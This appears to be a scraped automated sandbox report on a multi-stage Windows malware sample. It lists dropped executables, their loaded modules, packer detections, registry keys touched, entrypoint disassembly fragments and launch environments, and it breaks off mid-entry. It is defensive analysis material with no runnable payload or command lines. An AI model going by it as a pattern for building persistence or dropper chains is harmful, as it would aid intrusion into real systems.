"op9Jo62.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 760D0000 "zt7vg41.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 760D0000 "ss3vj64.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 760D0000 "Gj9uC90.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 760D0000 "dm8Sa10.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 760D0000 "1wL27Vk7.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 760D0000 "2hc1372.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 760D0000 "3di89sk.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 760D0000 "AppLaunch.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 760D0000 "4EM873Jt.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 760D0000 "5tc7lo6.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 760D0000 "6Hy9qE9.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 760D0000 "explothe.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 760D0000 "schtasks.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 760D0000 "cmd.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 760D0000 "7GY0fl42.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 760D0000 "cacls.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 760D0000 "rundll32.exe" loaded module "%WINDIR%\System32\rpcrt4.dll" at 760D00003f:T1754,"file" was detected as "Microsoft Cabinet" and name: "sfx" "file" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "file" was detected as "Microsoft Visual C/C++" and name: "Compiler" "file" was detected as "Microsoft Cabinet File" and name: "Archive" "file" was detected as "Microsoft Linker" and name: "Linker" "aW5Tb54.exe" was detected as "Microsoft Cabinet" and name: "sfx" "aW5Tb54.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "aW5Tb54.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "aW5Tb54.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "aW5Tb54.exe" was detected as "Microsoft Linker" and name: "Linker" "op9Jo62.exe" was detected as "Microsoft Cabinet" and name: "sfx" "op9Jo62.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "op9Jo62.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "op9Jo62.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "op9Jo62.exe" was detected as "Microsoft Linker" and name: "Linker" "zt7vg41.exe" was detected as "Microsoft Cabinet" and name: "sfx" "zt7vg41.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "zt7vg41.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "zt7vg41.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "zt7vg41.exe" was detected as "Microsoft Linker" and name: "Linker" "7GY0fl42.exe" was detected as "Microsoft Cabinet" and name: "sfx" "7GY0fl42.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "7GY0fl42.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "7GY0fl42.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "7GY0fl42.exe" was detected as "Microsoft Linker" and name: "Linker" "5tc7lo6.exe" was detected as "Microsoft Cabinet" and name: "sfx" "5tc7lo6.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "5tc7lo6.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "5tc7lo6.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "5tc7lo6.exe" was detected as "Microsoft Linker" and name: "Linker" "3di89sk.exe" was detected as "Microsoft Cabinet" and name: "sfx" "3di89sk.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "3di89sk.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "3di89sk.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "3di89sk.exe" was detected as "Microsoft Linker" and name: "Linker" "ss3vj64.exe" was detected as "Microsoft Cabinet" and name: "sfx" "ss3vj64.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "ss3vj64.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "ss3vj64.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "ss3vj64.exe" was detected as "Microsoft Linker" and name: "Linker" "Gj9uC90.exe" was detected as "Microsoft Cabinet" and name: "sfx" "Gj9uC90.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "Gj9uC90.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "Gj9uC90.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "Gj9uC90.exe" was detected as "Microsoft Linker" and name: "Linker" "dm8Sa10.exe" was detected as "Microsoft Cabinet" and name: "sfx" "dm8Sa10.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "dm8Sa10.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "dm8Sa10.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "dm8Sa10.exe" was detected as "Microsoft Linker" and name: "Linker" "4EM873Jt.exe" was detected as "Microsoft Cabinet" and name: "sfx" "4EM873Jt.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "4EM873Jt.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "4EM873Jt.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "4EM873Jt.exe" was detected as "Microsoft Linker" and name: "Linker" "explothe.exe" was detected as "Microsoft Cabinet" and name: "sfx" "explothe.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "explothe.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "explothe.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "explothe.exe" was detected as "Microsoft Linker" and name: "Linker" "2hc1372.exe" was detected as "Microsoft Cabinet" and name: "sfx" "2hc1372.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "2hc1372.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "2hc1372.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "2hc1372.exe" was detected as "Microsoft Linker" and name: "Linker" "clip_1_.dll" was detected as "Microsoft Cabinet" and name: "sfx" "clip_1_.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "clip_1_.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "clip_1_.dll" was detected as "Microsoft Cabinet File" and name: "Archive" "clip_1_.dll" was detected as "Microsoft Linker" and name: "Linker" "8Am5oO69.exe" was detected as "Microsoft Cabinet" and name: "sfx" "8Am5oO69.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "8Am5oO69.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "8Am5oO69.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "8Am5oO69.exe" was detected as "Microsoft Linker" and name: "Linker" "1wL27Vk7.exe" was detected as "Microsoft Cabinet" and name: "sfx" "1wL27Vk7.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "1wL27Vk7.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "1wL27Vk7.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "1wL27Vk7.exe" was detected as "Microsoft Linker" and name: "Linker"40:T132d,"2hc1372.exe" touched "NetworkListManager" (Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}") "2hc1372.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}") "2hc1372.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}") "2hc1372.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}\TREATAS") "4EM873Jt.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "4EM873Jt.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LOCALSERVER32") "4EM873Jt.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "4EM873Jt.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "4EM873Jt.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "6Hy9qE9.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "6Hy9qE9.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "6Hy9qE9.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "6Hy9qE9.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "6Hy9qE9.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\SHELLFOLDER") "6Hy9qE9.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "6Hy9qE9.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "explothe.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "explothe.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "explothe.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "explothe.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "explothe.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "explothe.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "explothe.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "explothe.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "explothe.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "explothe.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "explothe.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "explothe.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "explothe.exe" touched "Windows Search Service Media Center Namespace Extension Handler" (Path: "HKCU\CLSID\{98D99750-0B8A-4C59-9151-589053683D73}\SHELLFOLDER") "explothe.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "explothe.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "explothe.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "explothe.exe" touched "Sticky Notes Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{F3F5824C-AD58-4728-AF59-A1EBE3392799}\SHELLFOLDER") "schtasks.exe" touched "TaskScheduler class" (Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}") "cmd.exe" touched "Application Registration" (Path: "HKCU\CLSID\{591209C7-767B-42B2-9FBA-44EE4615F2C7}\TREATAS")41:T255b,"file" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "aW5Tb54.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "op9Jo62.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "zt7vg41.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "7GY0fl42.exe" file has an entrypoint instructions - "jmp 0x4460d9,jmp 0x45d026,jmp 0x44e6d0,jmp 0x438dd3,jmp 0x42311a,jmp 0x4a8530,jmp 0x439374,jmp 0x45de09,jmp 0x414840,jmp 0x4b0259,jmp 0x41dc38,jmp 0x446cc0,jmp 0x457070,jmp 0x42eb31,jmp 0x4582c8,jmp 0x41f3ba,jmp 0x41d2ac,jmp 0x49563f,jmp 0x416b70,jmp 0x458559," "5tc7lo6.exe" file has an entrypoint instructions - "jmp 0x4460d9,jmp 0x45d026,jmp 0x44e6d0,jmp 0x438dd3,jmp 0x42311a,jmp 0x4a8530,jmp 0x439374,jmp 0x45de09,jmp 0x414840,jmp 0x4b0259,jmp 0x41dc38,jmp 0x446cc0,jmp 0x457070,jmp 0x42eb31,jmp 0x4582c8,jmp 0x41f3ba,jmp 0x41d2ac,jmp 0x49563f,jmp 0x416b70,jmp 0x458559," "3di89sk.exe" file has an entrypoint instructions - "jmp 0x4460d9,jmp 0x45d026,jmp 0x44e6d0,jmp 0x438dd3,jmp 0x42311a,jmp 0x4a8530,jmp 0x439374,jmp 0x45de09,jmp 0x414840,jmp 0x4b0259,jmp 0x41dc38,jmp 0x446cc0,jmp 0x457070,jmp 0x42eb31,jmp 0x4582c8,jmp 0x41f3ba,jmp 0x41d2ac,jmp 0x49563f,jmp 0x416b70,jmp 0x458559," "ss3vj64.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "Gj9uC90.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "dm8Sa10.exe" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 0x68],push eax,call dword ptr [0x40a184],mov dword ptr [ebp - 4], ebx,mov eax, dword ptr fs:[0x18],mov esi, dword ptr [eax + 4],mov edi, ebx,mov edx, 0x4088ac,mov ecx, esi,xor eax, eax,lock cmpxchg dword ptr [edx], ecx,test eax, eax,je 0x406abc,cmp eax, esi,jne 0x406aaf,xor esi, esi,inc esi,mov edi, esi,jmp 0x406abf,push 0x3e8,call dword ptr [0x40a188],jmp 0x406a93,xor esi, esi,inc esi," "4EM873Jt.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "explothe.exe" file has an entrypoint instructions - "call 0x414888,jmp 0x41427f,jmp 0x4186fa,push ebp,mov ebp, esp,sub esp, 0x324,push ebx,push 0x17,call 0x4273e3,test eax, eax,je 0x41442a,mov ecx, dword ptr [ebp + 8],int 0x29,push 3,call 0x4145d7,mov dword ptr [esp], 0x2cc,lea eax, [ebp - 0x324],push 0,push eax,call 0x414ec0,add esp, 0xc,mov dword ptr [ebp - 0x274], eax,mov dword ptr [ebp - 0x278], ecx,mov dword ptr [ebp - 0x27c], edx,mov dword ptr [ebp - 0x280], ebx," "2hc1372.exe" file has an entrypoint instructions - "call 0x4014e9,jmp 0x4010c5,push ebp,mov ebp, esp,mov eax, dword ptr [ebp + 8],push esi,mov ecx, dword ptr [eax + 0x3c],add ecx, eax,movzx eax, word ptr [ecx + 0x14],lea edx, [ecx + 0x18],add edx, eax,movzx eax, word ptr [ecx + 6],imul esi, eax, 0x28,add esi, edx,cmp edx, esi,je 0x401286,mov ecx, dword ptr [ebp + 0xc],cmp ecx, dword ptr [edx + 0xc],jb 0x40127f,mov eax, dword ptr [edx + 8],add eax, dword ptr [edx + 0xc],cmp ecx, eax,jb 0x40128b,add edx, 0x28,cmp edx, esi,jne 0x401270,xor eax, eax,pop esi,pop ebp,ret ,mov eax, edx,jmp 0x401288,push esi,call 0x401a29,test eax, eax,je 0x4012b9,mov eax, dword ptr fs:[0x18],mov esi, 0x42bd74," "clip_1_.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x10003e0e,call 0x100041f9,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x10003ccf,add esp, 0xc,pop ebp,ret 0xc,jmp 0x10006e36,push ebp,mov ebp, esp,sub esp, 0xc,lea ecx, [ebp - 0xc],call 0x100035f8,push 0x10014590,lea eax, [ebp - 0xc],push eax,call 0x10004497,int3 ,push ebp,mov ebp, esp,and dword ptr [0x10016a48], 0,sub esp, 0x24,or dword ptr [0x10016004], 1,push 0xa,call 0x1000e0c7,test eax, eax," "8Am5oO69.exe" file has an entrypoint instructions - "pushal ,mov esi, 0x412015,lea edi, [esi - 0x11015],push edi,mov ebp, esp,lea ebx, [esp - 0x3e80],xor eax, eax,push eax,cmp esp, ebx,jne 0x41bcb8,inc esi,inc esi,push ebx,push 0x19a62,push edi,add ebx, 4,push ebx,push 0x9c7c,push esi,add ebx, 4,push ebx,push eax,mov dword ptr [ebx], 0x20003,push ebp,push edi,push esi,push ebx,sub esp, 0x7c,mov edx, dword ptr [esp + 0x90],mov dword ptr [esp + 0x74], 0,mov byte ptr [esp + 0x73], 0,mov ebp, dword ptr [esp + 0x9c],lea eax, [edx + 4],mov dword ptr [esp + 0x78], eax," "1wL27Vk7.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,"42:T83a,Process "aW5Tb54.exe" (UID: 00000000-00000176) was launched with new environment variables: "__COMPAT_LAYER="ElevateCreateProcess WRPMitigationLayer"" Process "1wL27Vk7.exe" (UID: 00000000-00001784) was launched with new environment variables: "PROMPT="$P$G"" Process "3di89sk.exe" (UID: 00000000-00003188) was launched with missing environment variables: "PROMPT" Process "cacls.exe" (UID: 00000000-00002656) was launched with new environment variables: "PROMPT="$P$G"" Process "rundll32.exe" (UID: 00000000-00002636) was launched with missing environment variables: "PROMPT" Process "cacls.exe" (UID: 00000000-00000360) was launched with new environment variables: "PROMPT="$P$G"" Process "explothe.exe" (UID: 00000000-00000620) was launched with missing environment variables: "PROMPT, __COMPAT_LAYER" Process "AppLaunch.exe" (UID: 00000000-00000784) was launched with new environment variables: "__COMPAT_LAYER="ElevateCreateProcess WRPMitigationLayer"" Process "cmd.exe" (UID: 00000000-00002068) was launched with new environment variables: "b2eincfilepath="%TEMP%\IXP000.TMP"" Process "iexplore.exe" (UID: 00000000-00003164) was launched with new environment variables: "PROMPT="$P$G"" Process "iexplore.exe" (UID: 00000000-00003164) was launched with modified environment variables: "Path" Process "explothe.exe" (UID: 00000000-00003436) was launched with modified environment variables: "Path" Process "explothe.exe" (UID: 00000000-00003436) was launched with missing environment variables: "PROMPT, __COMPAT_LAYER, b2eincfilepath" Process "iexplore.exe" (UID: 00000000-00002208) was launched with new environment variables: "PROMPT="$P$G", __COMPAT_LAYER="ElevateCreateProcess WRPMitigationLayer", b2eincfilepath="%TEMP%\IXP000.TMP"" Process "iexplore.exe" (UID: 00000000-00002208) was launched with modified environment variables: "Path" Process "explothe.exe" (UID: 00000000-00002108) was launched with modified environment variables: "Path" Process "explothe.exe" (UID: 00000000-00002108) was launched with missing environment variables: "PROMPT, __COMPAT_LAYER, b2eincfilepath"43:T706,"file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "aW5Tb54.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "aW5Tb54.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "op9Jo62.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "op9Jo62.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "zt7vg41.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "zt7vg41.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "ss3vj64.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "ss3vj64.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "Gj9uC90.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Gj9uC90.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "dm8Sa10.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "dm8Sa10.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1wL27Vk7.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "1wL27Vk7.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "1wL27Vk7.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "LOCALENAME") "1wL27Vk7.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "2hc1372.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "2hc1372.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US")44:Tdba,Observed system executable string:"C:\Windows\system32\apphelp.dll" [Source: 00000984.000003D8.269039.00050000.wprm] Observed system executable string:"C:\Windows\system32\kernel32.dll" [Source: 00000000-00002108.00000000.74855.00370000.00000004.mdmp] Observed system executable 